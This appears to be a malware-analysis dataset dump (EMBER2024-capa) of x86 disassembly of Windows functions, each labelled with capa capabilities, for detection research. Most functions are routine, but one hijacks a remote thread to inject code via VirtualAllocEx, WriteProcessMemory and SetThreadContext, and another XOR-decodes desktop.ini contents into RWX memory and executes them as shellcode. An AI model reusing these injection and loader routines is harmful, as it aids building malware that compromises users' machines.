joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13147368
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.13145740
xor eax, eax
push ebp
push 0x1314758d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x131473a8
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x131473c2
push 0x105
mov eax, dword [ebp - 4]
call fcn.13145c54
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x13147577
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x1314759c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x13147491
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x1314759c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x13147491
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x131475d8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x13147491
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x131475d8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x13147491
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x1314760c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x13147491
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x13147640
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x13147577
xor eax, eax
push ebp
push 0x13147570
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.13147174
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x13147500
mov eax, dword [ebp - 0x10]
call fcn.13143b8c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.13145cac
jmp 0x1314754b
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x13147680
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x1314754b
mov eax, dword [ebp - 0x10]
call fcn.13143b8c
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x13147680
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.13145cac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13147577
cmp dword [ebp - 8], 0
je 0x13147566
mov eax, dword [ebp - 8]
call fcn.13143ba8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13147594
lea eax, [ebp - 4]
call fcn.1314565c
ret
Function at 0x1314787c
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.13145740
xor eax, eax
push ebp
push 0x1314793c
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.13145ce8
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.13145e18
mov eax, dword [ebx]
call fcn.13147744
test al, al
jne 0x13147919
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.13145ce8
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.13145e18
mov eax, dword [ebx]
call fcn.13147744
test al, al
jne 0x13147919
mov eax, ebx
call fcn.1314565c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13147943
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.131456bc
lea eax, [ebp - 4]
call fcn.1314565c
ret

Function at 0x13147fb8
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x13156408
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x13156441
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.131457b4
jmp 0x1315644a
mov eax, ebx
mov edx, esi
call fcn.13145930
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x13156454
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x13156476
movzx eax, word [esp]
jmp 0x13156478
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x13157160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x13157285
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.13156f68
mov esi, eax
mov eax, dword [0x1315fc40]
cmp byte [eax], 0
je 0x1315722d
mov eax, dword [0x1315fb68]
call fcn.13143e8c
call fcn.13143ce0
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x13157130]
call fcn.131467b4
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x131572a0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x13157269
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x1315fb40]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x13162c44]
call fcn.1314686c
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1315728c
lea eax, [ebp - 4]
mov edx, dword [0x13157130]
call fcn.131467c0
ret

Function at 0x13158668
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.13145a20
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.13147f98
mov edi, eax
cmp edi, 0x104
jbe 0x1315860f
mov eax, edi
add eax, eax
call fcn.13143b8c
mov esi, eax
jmp 0x13158611
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.13147f98
mov eax, esi
push eax
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x1315864c
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x13158636
mov eax, esp
cmp esi, eax
je 0x13158659
mov eax, esi
call fcn.13143ba8
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x13158694
cmp bl, 0
je 0x13158690
cmp bl, 0x41
jl 0x1315868b
cmp bl, 0x5a
jg 0x1315868b
or bl, 0x20
xor al, bl
inc esi
jmp 0x1315866f
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x131585d0

Function at 0x131588b4
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.13145ce8
add esp, 0x800
pop ebx
ret
Function at 0x1315958c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0x40
push 0x3000
mov eax, dword [ebp - 8]
call fcn.13145a34
inc eax
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
call fcn.13145a34
inc eax
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x131595e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0x40
push 0x3000
mov eax, dword [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x13159628
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 8], eax
push 0
push 4
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x13159693
mov dword [ebp - 0x28], 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_Thread32First
test eax, eax
je 0x1315968a
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 4]
jne 0x13159679
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
jmp 0x13159693
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_Thread32Next
test eax, eax
jne 0x13159660
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x131596c0
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffcfc
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov byte [ebp - 9], 0
push 0
push 0x18
lea eax, [ebp - 0x2f4]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.ntdll.dll_ZwQueryInformationProcess
mov eax, dword [ebp - 0x2e4]
call fcn.13159628
push eax
push 0
push 0x1f03ff
call sub.kernel32.dll_OpenThread
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x131597d3
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_SuspendThread
mov dword [ebp - 0x2dc], 0x10007
lea eax, [ebp - 0x2dc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetThreadContext
mov eax, dword [ebp - 0x224]
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x300], eax
push 0x131597dc
push 0x131597f8
call sub.kernel32.dll_GetModuleHandleW_1
push eax
call fcn.131488f8
mov dword [ebp - 0x2fc], eax
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.1315958c
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0
je 0x131597d3
lea edx, [ebp - 0x304]
mov ecx, 0x10
mov eax, dword [ebp - 4]
call fcn.131595e0
mov dword [ebp - 0x23c], eax
mov eax, 0x1315969c
call fcn.13159548
mov ecx, eax
mov edx, 0x1315969c
mov eax, dword [ebp - 4]
call fcn.131595e0
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x2dc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_SetThreadContext
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_ResumeThread
mov byte [ebp - 9], 1
mov al, byte [ebp - 9]
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x104e4058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.104e41a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x104e407e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104e406a
add dl, dl
jne 0x104e4089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104e40dc
xor eax, eax
add dl, dl
jne 0x104e4096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104e417d
add dl, dl
jne 0x104e40a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104e40b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104e40bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104e40c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104e40d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x104e4075
mov eax, 1
add dl, dl
jne 0x104e40ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104e40f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104e40e1
sub eax, ebx
mov ebx, 1
jne 0x104e4128
mov ecx, 1
add dl, dl
jne 0x104e410e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104e4119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104e4105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104e4075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x104e413f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x104e414a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104e4136
cmp eax, 0x7d00
jae 0x104e416d
cmp eax, 0x500
jb 0x104e4168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104e4075
cmp eax, 0x7f
ja 0x104e4170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x104e4075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x104e419e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x104e4075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x4611f5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x461234
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x461234
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x461234
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x461234
cmp dword [ecx + 0x74], 0xe
jbe 0x461234
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x465355
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00461d20
mov eax, dword [0x47c538]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0046aae4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x465397
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4654f3
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0046bf80
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x47f320]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0046bdb9
mov ecx, dword [esi*4 + 0x47f320]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x4654ec
cmp eax, dword [ecx + edi + 0x24]
jne 0x4654ec
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4654ec
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0046bdb9
add esp, 0x14
test edx, edx
jl 0x4654ec
jg 0x465462
test eax, eax
jb 0x4654ec
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4654ec
jl 0x46547c
cmp dword [ebp - 0x1008], eax
ja 0x4654ec
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x46549a
test ebx, ebx
je 0x4654d3
cmp ecx, edi
jae 0x4654d3
mov al, byte [ecx]
cmp al, 0xd
jne 0x4654b4
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4654c0
cmp byte [ecx + 1], 0xa
jne 0x4654c0
inc ecx
jmp 0x4654c0
movzx eax, al
movsx eax, byte [eax + 0x47cca0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x46549a
cmp edx, ebx
jne 0x46549a
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4654f1
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004615e5
leave
ret

Function at 0x466930
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x46695d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x46695d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x466cad
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x473a18
push 0x473a10
push str.FlsAlloc
push 0x1f
call fcn.00466f90
mov esi, eax
add esp, 0x10
test esi, esi
je 0x466ce1
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
jmp 0x466ce7
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x466d2b
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x473a28
push 0x473a20
push str.FlsGetValue
push 0x21
call fcn.00466f90
mov esi, eax
add esp, 0x10
test esi, esi
je 0x466d62
push dword [ebp + 8]
mov ecx, esi
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x466d6a
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x473a30
push 0x473a28
push str.FlsSetValue
push 0x22
call fcn.00466f90
mov esi, eax
add esp, 0x10
test esi, esi
je 0x466da4
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [section..00cfg]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x46a239
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x46a2d6
push ebx
push esi
call fcn.0046a2d9
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0046a13d
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x46a283
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x46a2d5
push edi
push eax
call fcn.00468c51
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x46a2a3
call fcn.00468111
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x46a2d4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0046a13d
add esp, 0x20
test eax, eax
jne 0x46a2c2
push edi
call fcn.00468111
jmp 0x46a2ca
push ebx
call fcn.00468111
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x46b8ba
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x47f320]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x46b8fa
cmp byte [ebx], 0xa
jne 0x46b8fa
or byte [edi + eax + 0x28], 4
jmp 0x46b8ff
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x46b9fe
mov dl, byte [eax]
cmp dl, 0x1a
je 0x46b9e1
inc eax
cmp dl, 0xd
je 0x46b92b
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x46b951
cmp eax, ecx
jae 0x46b95f
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x46b913
jmp 0x46b9fe
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x46b9dc
cmp dword [ebp - 0x10], 0
je 0x46b9dc
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x47f320]
test byte [eax + edi + 0x28], 0x48
je 0x46b9b6
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x46b9a1
mov byte [esi], dl
jmp 0x46b9b2
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x47f320]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x46b9fe
cmp byte [ebp - 1], 0xa
jne 0x46b9c5
cmp esi, ebx
jne 0x46b9c5
mov byte [esi], 0xa
jmp 0x46b9fd
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0046bd5b
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x46b9fe
mov byte [esi], 0xd
jmp 0x46b9fd
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x47f320]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x46b9fb
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x46b9fe
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret